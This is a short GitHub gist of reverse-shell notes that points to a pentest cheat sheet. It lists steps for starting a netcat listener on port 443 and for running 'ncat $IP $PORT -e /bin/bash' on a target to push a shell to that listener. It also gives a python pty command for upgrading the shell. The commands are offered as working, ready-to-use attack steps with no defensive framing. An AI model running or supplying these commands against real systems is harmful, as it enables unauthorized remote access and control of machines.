Skip to content

Instantly share code, notes, and snippets.

@mikeumus
Last active August 29, 2015 14:24
Show Gist options
  • Save mikeumus/92691809743b0de8ad52 to your computer and use it in GitHub Desktop.
Save mikeumus/92691809743b0de8ad52 to your computer and use it in GitHub Desktop.
ncat reverse connection

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

  1. Make sure you have netcat and nmap installed. I search for them in synaptic myself sudo synaptic -> Search: "nmap" and "netcat traditional"

  2. sudo nc -l 443 # to listen on port 443

  3. ncat $IP $PORT -e /bin/bash or /bin/sh # reverse connection, example: ncat x.x.x.x 443 -e /bin/sh

  4. python -c "import pty; pty.spawn('/bin/bash')"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment